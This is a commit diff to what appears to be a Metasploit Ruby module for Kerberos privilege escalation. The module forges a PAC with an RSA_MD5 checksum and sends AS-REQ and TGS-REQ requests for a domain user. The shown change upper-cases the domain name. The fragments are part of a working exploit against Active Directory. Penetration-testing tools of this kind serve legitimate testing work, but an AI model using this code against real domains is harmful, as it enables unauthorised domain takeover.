@@ -45,7 +45,7 @@ def initialize(info = {})
45
45
[
46
46
OptString . new ( 'USER' , [ true , 'The Domain User' ] ) ,
47
47
OptString . new ( 'PASSWORD' , [ true , 'The Domain User password' ] ) ,
48
- OptString . new ( 'DOMAIN' , [ true , 'The Domain Ex: DEMO.LOCAL' ] ) ,
48
+ OptString . new ( 'DOMAIN' , [ true , 'The Domain (upper case) Ex: DEMO.LOCAL' ] ) ,
49
49
OptString . new ( 'USER_SID' , [ true , 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000' ] )
50
50
] , self . class )
51
51
end
@@ -58,6 +58,10 @@ def run
58
58
return
59
59
end
60
60
61
+ domain = datastore [ 'DOMAIN' ] . upcase
62
+
63
+ print_status ( "Using domain #{ domain } ..." )
64
+
61
65
user_sid_arr = datastore [ 'USER_SID' ] . split ( '-' )
62
66
domain_sid = user_sid_arr [ 0 , user_sid_arr . length - 1 ] . join ( '-' )
63
67
user_rid = user_sid_arr [ user_sid_arr . length - 1 ] . to_i
@@ -76,8 +80,8 @@ def run
76
80
print_status ( "#{ peer } - Sending AS-REQ..." )
77
81
res = send_request_as (
78
82
client_name : "#{ datastore [ 'USER' ] } " ,
79
- server_name : "krbtgt/#{ datastore [ 'DOMAIN' ] } " ,
80
- realm : "#{ datastore [ 'DOMAIN' ] } " ,
83
+ server_name : "krbtgt/#{ domain } " ,
84
+ realm : "#{ domain } " ,
81
85
key : password_digest ,
82
86
pa_data : pre_auth
83
87
)
@@ -109,7 +113,7 @@ def run
109
113
group_ids : groups ,
110
114
domain_id : domain_sid ,
111
115
user_id : user_rid ,
112
- realm : datastore [ 'DOMAIN' ] ,
116
+ realm : domain ,
113
117
logon_time : logon_time ,
114
118
checksum_type : Rex ::Proto ::Kerberos ::Crypto ::RSA_MD5
115
119
)
@@ -121,8 +125,8 @@ def run
121
125
122
126
res = send_request_tgs (
123
127
client_name : datastore [ 'USER' ] ,
124
- server_name : "krbtgt/#{ datastore [ 'DOMAIN' ] } " ,
125
- realm : datastore [ 'DOMAIN' ] ,
128
+ server_name : "krbtgt/#{ domain } " ,
129
+ realm : domain ,
126
130
session_key : session_key ,
127
131
ticket : ticket ,
128
132
auth_data : auth_data ,
0 commit comments